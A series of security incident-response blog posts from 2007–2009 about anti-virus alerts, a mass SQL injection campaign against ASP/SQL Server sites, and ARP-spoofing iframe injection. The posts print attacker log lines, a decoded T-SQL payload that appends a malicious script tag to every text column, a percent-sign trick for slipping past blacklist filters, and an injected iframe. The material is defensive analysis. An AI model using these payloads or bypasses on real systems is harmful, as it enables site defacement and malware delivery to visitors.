Neil Carpenter's Blog : Incident Response

Incident Response: The Importance of Anti-Virus

neilcar — Mon, 23 Nov 2009 17:17:00 GMT

Heading home from the CSS Security Global Summit on Friday, I got stuck in Cincinnati’s airport. While walking through baggage claim, I saw this displayed on the arrivals board:

(I didn’t have a proper camera with me so, if that’s hard to read, it’s a Symantec AntiVirus Auto-Protect notification of a trojan horse found. Symantec was unable to quarantine it due to an access denied.)

Now, I suspect that this was a false positive; however, I’m just a guy walking by their wall of monitors. Even if it is a false positive, it was first detected at 4:26PM…and it was 8:30pm when I was walking by. (CORRECTION: It occurred to me, when I looked back at the picture, that this was detected on THURSDAY at 4:26PM. This was, apparently, displayed for over a day.) Even if there is no risk, I think it would have been wise for somebody to react to this faster just so that you don’t have smart-alec security guys walking by taking pictures…

This reminded me of a common thread that I’ve seen in security incidents lately: You can’t ignore your anti-virus software. Your AV software is whispering softly in your ear, telling you that something bad has happened – if you ignore it, you may go on (for months, sometimes) not knowing that something bad has happened.

What about if it’s a false positive? Do something about it. You paid for AV software and it’s an important factor in early detection of security incidents, so don’t just accept that it’s generating noise. If there’s not a clear resolution, contact your AV vendor and get them to help figure it out.

The same thing is true of errors -- “Unable to scan file X because of reason Y”, for example. Either this is a valid error that should be solved or it’s noise which shouldn’t be bubbling up to you as an error. In some cases, this is an indication of an attacker who is circumventing your AV software. If you can’t easily fix these, talk to your AV vendor and get their help in resolving them.

Another important thing, in regards to AV vendors, is their ability to react quickly in an emergency. Make sure that you know how to contact them and get samples to them if you have something rampant in your environment that isn’t caught by their current signatures. Also, be sure to understand how the vendor would deliver a new signature and how you would deploy it as quickly as possible. Include disaster scenarios such as “What if my network was completely down?” and “What if my enterprise had no Internet connectivity?” in your planning.

In general, make sure that you have an excellent relationship with your AV vendor and that they are a company that you can rely on, especially in a crisis.

AV isn’t a perfect solution but, then again, neither is any other single part of your security strategy. In some cases, it may be the difference between responding quickly to an incident and not responding until significant damage has been done.

I’ve often discussed these concepts with customers; however, two specific incidents that I’ve seen recently have made me think more about this topic.

In the first incident, a company was first penetrated by a remote-access trojan that their AV software didn’t detect; however, when I looked at each of the machines that this was installed on, I saw that the AV software had logged failures to scan various files on every machine that was compromised. (There might be a high volume of these errors in the enterprise; however, I doubt it since none of these machines had errors except where they correlated with specific malware being dropped on the system.) Additionally, some of the other tools did cause AV detections – for example, PWDump was detected on one of the compromised workstations. The attackers went on to use a different password hash dumping tool that was not detected…

Had these issues been remediated immediately, the company could have stopped the incident before it really started. Instead, the company didn’t discover the incident until months later from unrelated symptoms.

The second incident was large enough to take the company entirely off the Internet and turn off most of their Windows machines as a precaution. The company had an outbreak of a piece of malware similar to Conficker (in that it impersonated users to spread to machines that were otherwise not vulnerable) but different enough that its AV vendor didn’t have signatures that covered it. It was 50+ hours between when the initial infections were discovered and when signatures that were considered to be totally effective were deployed.

In this case, the AV vendor wasn’t a ‘trusted advisor’ to the company. The company was unable to effectively deliver on the promise of AV software to contain and remove malware at the time that it counted most to them.

SQL Injection Hijinks

neilcar — Fri, 31 Oct 2008 23:07:00 GMT

or Why I Keep Harping On Blacklisting

Summary:

An incident reveals attempts to get around blacklisting by manipulating behavior in ASP, illustrating the weakness of blacklist approaches.

A new version of UrlScan is shipping today with a change specifically to address this.

Discussion:

I was working with a colleague on an incident last week that looked like a garden-variety SQL injection drive-by except for something interesting.

While looking through the IIS logs from the affected server, I saw this:

abc=120364DEC%LARE%20@S%20VAR%CHAR(4000)%3BS%ET%20@S%...

As I looked at this, "DEC%LARE", "VAR%CHAR", and "BS%ET" immediately stood out to me. Obviously, the percent sign is usually used to escape something in a URL (like the %20's in there, which are spaces); however, this naked percent sign thrown in there didn't seem to have any purpose and should have caused SQL to not execute the code in question.

When I see somebody do something like this, it's usually for a purpose so I took another look at it. I realized that, if ASP silently stripped that percent sign out of there, then this would be an efficient way to bypass a lot of blacklist-based filters.

I wrote a quick test ASP page(1) and found that my guess was right on -- ASP drops a percent sign from the query string if it isn't followed by two valid hex characters(0-9, A-F) when it actually interprets it via Request.QueryString. This means that any filter that inspects raw headers using Request.ServerVariables is going to miss "DEC%LARE" if it is looking for "DECLARE" but, on the other hand, the ASP app that actually consumes that string using Request.QueryString("abc") is going to get it without the percent sign.

Conclusion:

As this incident illustrates, a blacklist approach to SQL injection only works for as long as nobody finds a way around your blacklist. As soon as somebody finds a way around it (and experience suggests that attackers are motivated to do so), the value of your blacklist is zero.

The right approach is to fix the actual vulnerability in the code using parameterized queries. See the articles below for more information and examples.

http://msdn.microsoft.com/en-us/library/cc676512.aspx

SQL Injection Mitigation- Using Parameterized Queries

SQL Injection Mitigation- Using Parameterized Queries part 2 (types and recordsets)

The IIS team is releasing an update to UrlScan today that includes changes to address this in their filtering product. Of course, as I've said over and and over, no filter-based approach is going to be perfect, but UrlScan is still an excellent defense-in-depth tool and a way to mitigate SQL injection vulns in the short term while your developers fix them.

For more information on the UrlScan update, Wade Hilmo has all the details:

http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx

(1)

<HTML>
QUERY_STRING = <%= Request.ServerVariables("QUERY_STRING") %> <BR>
test =<%= Request.QueryString("test") %> <BR>
</HTML>

SQLInjectionFinder

neilcar — Tue, 27 May 2008 20:51:23 GMT

My colleague Greg, who has forgotten more about command line scripting than I will ever know, put together a sample on CodePlex that automates finding SQL injection attacks from the ongoing mass SQL injection attack ("SQL Storm", as I saw it dubbed today). This is a fairly convenient approach to searching logfiles on an IIS server.

SQLInjectionFinder -- http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436

SQL Injection -- A Comment

neilcar — Mon, 07 Apr 2008 17:51:19 GMT

Kumar comments here and I think he has some questions/concerns that are worth addressing. I'm going to add my own comments (and, please note, the comments I make here are my own and do not necessarily reflect Microsoft's corporate opinions).

---------------------------------------------------------------------------------------

My site extensively uses asp and sql server. My site ranking is good with google for certain keywords searches.

Friday morning I found that the bad people (nmidahena) had updated text fields in almost all of the tables with a <script> some thing.js </script>. This has created a nightmare for me.

[nbc] This is consistent with what we've seen elsewhere. You had one or more SQL injection vulnerabilities on an ASP page that used a query string as the SQL query. The attackers found you on Google and ran their scripted attack against you, resulting in all your text getting the <script> tag appended to it.

Fortunately, I had a backup that came to my rescue. I also downloaded all asp and html files to my local machines and searched for "nmidahena" - nothing came up.

[nbc] You won't find anything in the code files, at least not in this attack.

This is what I have done:

a) Restore sql server tables from the backup.

[nbc] This is a very good step as long as you also fix the holes that were used to compromise it in the first place.

b) Rewrite my asp forms to not to accept any character or words that could be used for sql injection.

[nbc] This one is more problematic. Just blacklisting a set of characters/words is probably going to break this attack but it's not likely to prevent future attacks from working. I am not really qualified to answer this as I'm not a developer by trade. Thankfully, Michael Howard and David LeBlanc spent a lot of time answering it in Writing Secure Code. I have the 2nd edition on my desk and pages 399-411 cover this at great length.

[nbc] There are almost certainly other issues to be considered here. The first one is that, in most of these attacks, it looks like the web app is using a user with sysadmin privileges in SQL. This is as bad an idea as putting IUSR_MYSERVER in the administrators group. Your web app should have the least possible privilege in SQL. Running as sysadmin in SQL enables things such as xp_cmdshell, which is a great way for attackers to run sniffers, password-stealing utilities, and other malware on your SQL Server.

[nbc] Another thing to consider is the possibility that this isn't the first SQL injection attack against you. Another attacker might not have defaced your website; instead, they might have silently stolen every bit of data in your database. If your web app was running as sysadmin, they might have silently stolen every bit of data in EVERY database on your SQL Server. It is entirely possible that every name, e-mail address, password, credit-card number, etc that is in your database server's possession is now in somebody else's possession as well. If so, your IIS logs should tell the story.

Do you think this would be sufficient to prevent future attack?

[nbc] There are two answers to this question:

I think this is sufficient to prevent future iterations of this same attack...until the attackers change the script they're using.
I don't think this is sufficient to prevent all future SQL injection attacks. The only approach that is going to help with that is to make sure that you are using least privilege in SQL and build secure SQL statements/stored procedures. Even then, of course, there may be other vulnerabilities in your site that can lead to compromise.

I dont know where to look for help. The hosting agency has no good answers.

[nbc] I don't envy your hosting company or, for that matter, any hosting company. In general, I don't think it's going to be their responsibility to ensure that your code is secure, so I'm not surprised that they don't have good answers. On the other hand, if the security bugs in your code are severe enough, you might be opening their facility up to further compromise.

---------------------------------------------------------------------------------------

Other people may have better advice than I, and I'd love to hear it. Since I'm seeing another 11K (and rising) servers compromised this month via this attack, I think you're not the only person asking these questions. I've spent a lot of time thinking about this lately from a support/incident response perspective and I have some very large questions that I can't seem to answer.

Since my team operates from a reactive position (customer gets compromised, customer calls us, we investigate and offer suggestions), how can we help customers remediate this problem when we work with them? Realistically, the customer needs to do a security code review; however, this is beyond the scope of my team. There are offerings that cover this but, given the amount of work and expertise involved, they are costly.
Even if I had the opportunity to be proactive, how could I contact the large number of people who appear to be vulnerable due to their own code defects (67K+ from last month's attack, 11K+ so far this month)?

Mass SQL Injection -- Get Used To It

neilcar — Fri, 04 Apr 2008 21:00:34 GMT

It looks like another wave of the mass SQL injection I talked about last month is going on. The inserted link is different and, in the one specific incident I've seen, the source IP address is different; however, other than that, the attack looks to be identical.

2.1K websites so far, this month.

Anatomy of a SQL Injection Incident, Part 2: Meat

neilcar — Sun, 16 Mar 2008 04:18:00 GMT

Intro

It would appear that the incident I wrote about yesterday is still ongoing. I've been using a search engine to query for the *.js file that's being injected and it looks something like this:

Wednesday: 10K hits (This is Avert's number. I didn't look until Thu.)
Thursday: 12.1K hits
Friday: 12.9K hits
Saturday: 14K hits

It's not the most scientific measure but it does show a pretty steady progression. The earliest incident that I'm aware of was around 2008-03-01 (depending on where you are in the world) so that's a rate of about a thousand hosts a day, give or take.

Hensing took me to task, privately, for my last post on this because it wasn't very detailed. Fair enough, let's see if we can flesh this out.

Analysis of an Incident

One interesting thing is that the attack appears to do different things depending on the responses it gets to various queries. I've seen three successful incidents and, while they are all similar, it's clear that the script is doing different things depending on the responses it gets. In all four cases, the first thing that happens is:

2008-03-08 13:37:12 /dir1/archive.asp id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 1171

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562

The id=... portion of that log is the cs-uri-query portion of the log. If you were to hit this in the browser, the URL would look like this:

http://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0

These lines are double-encoded -- the first set of encoded characters, which would be translated by IIS, are denoted by %XX. For example, %20 is a space. The second set aren't meant to be translated until they get to the SQL Server and they use the char(xxx) function in SQL. If we unencode both of those lines, we get this:

id=z ANd |user|=0
id=z ANd |user|=0 and ''='

The next query is a lot of fun:

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int. 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390

This time, it reads:

id=z ANd |user|=0 and '%'='

This time, the attacker has hit the right combination to return a very informative error message -- he now knows the user ("IUSR_Server") that the web application is running as. In this particular instance, the attacker is happy with this information and proceeds to deliver the payload. In another instance I looked at, the attacker used one extra query with the IS_SRVROLEMEMBER T-SQL function to see if the user was a sysadmin.

So, finally, the attacker is delivering the payload. I've truncated these for readability:

2008-03-08 13:37:15 /dir1/archive.asp id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 1421

2008-03-08 13:37:25 /dir1/archive.asp id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234

This looks a little complicated but, if we remove the encoding, we get this:

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--

So, here's what this little bit of T-SQL is doing:

Declaring a variable, S, as an NVARCHAR. For those of us who don't speak T-SQL natively, think of this as a string.
Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR. In other words, we're taking this hex representation of a string and turning it into a real string.
Once that's done, we execute that string as a T-SQL statement.

So, of course, the next question is "What is that string?" Here it is, with a bit of sanitization:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

This one is a little more complicated but it does something like this:

Declare a few variables that are used later.
Do a SQL query on the sysobjects and syscolumns tables. This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database. What this query is looking for is every column in the entire database with a type that contains strings.
Now, we're going to loop through all of those columns and, in every one of them...
...we're going to append the <script>...</script> text.
Finally, clean up and we're done.

Now that this has run, every bit of text in your database has this malicious script tag appended to it. If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.

Check Yourself

If you've got a website that uses a database as a backend, you should now be a little concerned. Here are some ideas on what to look for.

So far, the only affected platform that I'm aware of is ASP pages with Microsoft SQL Server as a backend. That doesn't mean that some miscreants won't move on to ASP.Net or PHP or something else -- the attack should be easy enough to move to other platforms. It just means that, so far, ASP pages are all that I've seen affected.

If you fit into that category, then you'll be wanting to review your IIS logs for anything suspicious. LogParser is, hands down, my favorite tool for this sort of work. If you download it, you should be able to do a query like this on your IIS logs:

LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE cs-uri-query LIKE '%CAST(%'"

This is go through all the IIS logs in the directory and search them for lines where the query string contains "CAST(" and output those lines into suspicious.csv. Since "CAST(" should be a pretty unusual string in cs-uri-query, if you have any hits here, it's worth investigating further(2).

If you are affected, then this isn't going to be an easy incident to recover from. My own suggestion would be to pull your website down until you can figure out what's going on -- you're still vulnerable AND you're serving up attacks to every user who comes to your site. That's not going to impress anybody.

The first order of business would be to figure out where you're vulnerable and how vulnerable you are. That's really beyond the scope of what I'm going to hammer out today but I'd suggest starting with a copy of Writing Secure Code and going from there.

Edit: I forgot to mention that this is also a good time to review the privileges that your web app has in SQL. It definitely shouldn't need to be sysadmin!

Footnotes

(1) It's a fair bet that any time you see a hex string where every other byte is 0x00, it's text from a Western language encoded in Unicode.

(2) Obligatory plug for my team -- Microsoft provides no-charge support for any security incident. If you believe you've been affected by this, you can call us for assistance. This page has all the appropriate details for the US and Canada and there are links from there to every other region.

Anatomy of a SQL Injection Incident

neilcar — Fri, 14 Mar 2008 23:19:00 GMT

A number of people are reporting that 10K+ websites have been hacked via a SQL injection attack that injected a link to a malicious .js file into text fields in their database. For example, here's Avert Labs report.

The reports that I've seen talk about how the .js file tries to compromise clients that connect to the defaced web servers; however, they don't discuss the really interesting part. How did the servers get hacked in the first place?

Whenever I see a large number of hosts compromised in the same way, my initial assumption is that they all share a piece of vulnerable code. If this was the case, I thought that it would be in everybody's interest to figure out what that shared code was and take appropriate action.

Since the CSS Security team here at Microsoft worked with several of these incidents, I was able to look at multiple sets of data and the work that my colleagues had already done. The first thing I noticed was that the attacks looked, with a few exceptions, identical. They shared several things in common:

Two initial query strings that do some basic injection, apparently as a test.
One or more additional queries, specifically to do IS_SRVROLEMEMBER() happen in some cases.
Two final queries that DECLARE a variable that CASTs a large hex value into NVARCHAR and then EXEC()'s that string. The string contains a script to append the link to the .js file onto every string-type column in every table in the database.
All of these happen within a very short period of time. The only lag seems to be the time it takes the final two queries to execute. (In the case with the largest database, the last query actually failed with a timeout. I guess that's not surprising since it's essentially doing a find-and-replace on the entire database table.)

The last item makes me think that this is an automated process of some sort, particularly since the user-agent string for the last two queries is different from the user-agent string for the preceding ones.

This is where it gets interesting, though. In comparing the pages that were compromised in different incidents, I realized that, while they're all vulnerable to SQL injection, they don't appear to share any common code.

My next question, then, was how did the attacker select these sites? Given that the whole attack took a very short period of time and the attacker only touched a single ASP page on the server, it was pretty clear that they had some reason to believe that page was vulnerable prior to connecting to the site. It's possible that they had previously scanned the site but I didn't find any indication that this was true.

The other possibility that occurred to me was that the attacker was using a generalized approach to search Google for vulnerable sites. As I was thinking this through, I found that I wasn't the first person to have thought about it:

How Prevalent Are SQL Injection Vulnerabilities

Guard Against SQL Injection Attacks

SQL Injection Is Surprisingly Easy

So, there you have it -- automated SQL injection attacks in a nutshell. Next week, I'll try to find some time to go into some of the details and brainstorm on how incident responders can get to the root of SQL injection attacks.

(I should note that many brilliant people on my team provided information and analysis into how the incidents happened.)

(Part 2 is here.)

Detecting ARP Spoofing Attacks

neilcar — Fri, 06 Jul 2007 00:20:58 GMT

After investigating an ARP spoofing incident recently, I started thinking of how we could easily ferret out this sort of information when responding to a potential incident.

In this particular case, there were two important parts of the attack:

ARP spoofing forced all traffic bound for the default gateway to be funneled through the infected machine, and
HTTP proxying allowed for the injection of malicious code in HTML documents.

ARP spoofing would be easy to detect and/or rule out if you happen to know the MAC address of the default gateway off the top of your head as you could just look at the local ARP cache ("arp -a" at a command prompt) to make sure you had the right one; however, I'd suspect that most people wouldn't have that information easily at hand.

Another approach that might work is to:

Start a network capture.
Clear the ARP cache of any entries for the default gateway ("arp -d 192.168.0.1").
Initiate a connection to something on the other side of the default gateway ("ping microsoft.com").
Stop the capture and look to see if you got more than one ARP response when you ARP'd for the default gateway.

This approach is messy and it makes the assumption that the malware responds to ARP requests rather than just spamming the hosts on the subnet with gratuitous ARPs. The remaining approach would be to do what we did in this incident -- take a network trace of general network traffic and look for the excessive gratuitous ARPs coming from the infected machine. (I'd also suspect that most IDS systems would catch this -- if you were feeling lazy, you could probably take the network trace and feed it through Snort in offline mode...)

I had an epiphany about the second part, detection injection of malicious code in HTML docs, while I was having a romantic dinner over the weekend. Fortunately, my significant other is used to this sort of behavior and she didn't even roll her eyes when I asked if she had a pen and paper so I could write it down...

The epiphany was that the best way to find injected code was to compare a suspicious document with a known-good document. Of course, the problem is finding a known-good doc to compare to but, with a bit of thought, I came up with an additional insight -- an attacker couldn't inject a payload into a doc downloaded over SSL. So, I think the following would work nicely:

wget http://www.microsoft.com/default.aspx (possibly not the _best_ test page, but it'll do for our example)
wget https://www.microsoft.com/default.aspx
Diff the two documents and look for obviously injected code.

Unfortunately, the two copies of default.aspx, in this example, will have minor differences but nothing so obvious as an <iframe> pointing somewhere else.

I'm open to other approaches, though, and I'd love to hear from folks who have other ideas.

ARP Cache Poisoning Incident

neilcar — Thu, 28 Jun 2007 16:53:00 GMT

I recently worked on an interesting incident response with several of my colleagues. The problem, as defined by the customer, is that the following code is being injected into some websites (both external and internal to his environment) that his users are surfing:

<iframe src=http://<redacted>/ 123.htm width=0 height=0></iframe>

The page referenced (123.htm) includes a link to a .jpg file that exploits the animated cursor vulnerability in MS07-017 and some additional obfuscated javascript. The effect of this is that an unpatched machine surfing to any website (cnn.com, for example) would load the specially crafted .jpg file and execute code of the attacker’s choice.

At first, we thought this was being injected by a browser helper object or something similar on the client machine. There was no indication of anything malicious running on the client machine based on the data we looked at. We took a network trace from the client machine and saw that the iframe was being returned across the network. This would indicate that either the attack was originating in an NDIS driver of some sort (*) or that it was originating on his network.

Fortunately, the customer was able to mirror the client machine’s port on his switch and run a network trace from the mirrored port. In that trace, we _also_ see the iframe being returned across the network, apparently from the web server. This was a firm indication that the attack was originating on his network.

Looking back at the network trace, we saw a large number of gratuitous arp packets for the IP address of the default gateway. The MAC address that is being returned as corresponding to the default gateway is for a Compaq NIC(**); however, the default gateway is a Cisco device with a different MAC address. Based on this, we determined that this machine was mounting an ARP cache poisoning attack (***) to perform a man-in-the-middle attack and inserting the iframe into HTTP communications where the response was an html doc.

When we took this one machine off the network, everything returned to normal. This was a good sign that we were headed in the right direction.

We gathered further data off of the compromised machine. Based on that data, we can see that the machine has had winpcap and other software installed. Winpcap and the other software allows the attacker to perform the ARP spoofing, routing all the traffic destined for their default gateway through this machine first, and to insert the iframe into HTTP responses that include HTML documents.

This incident is very interesting to me because it marks the first time I've seen ARP spoofing used in an automated way like this. Apparently, there are at least a few worms on the loose that do this (Worm.Delf.fs, specifically) but, so far, they have had low volume. This type of attack definitely ratchets up the importance of installing the latest security updates -- in this case, an unpatched machine could have been compromised even by surfing to an internal website.

(*) My reasoning here is that Netmon plugs into the network stack fairly low. In general terms, it looks like this:

IE --> Winsock --> TDI --> TCPIP.SYS --> NDIS --> Hardware

The Netmon Agent sits between TCPIP.SYS and NDIS on NDIS’s upper edge. For something to show up in a network capture, it would have to originate either in NDIS or on the network.

(**) Ethernet MAC addresses are divided into two parts. The first three octets (00:50:8b in this case) are identifiers for particular manufacturers (Compaq in this case) and the last three octets are a unique identifier. The list of vendor identifiers can be found here -- http://standards.ieee.org/regauth/oui/index.shtml.

(***) ARP cache poisoning references:

http://en.wikipedia.org/wiki/ARP_spoofing

http://www.watchguard.com/infocenter/editorial/135324.asp

http://www.grc.com/nat/arp.htm

As noted in the Wikipedia article, we could have used static ARP entries as mitigation if we hadn’t been able to quickly identify the machine that was staging the attack.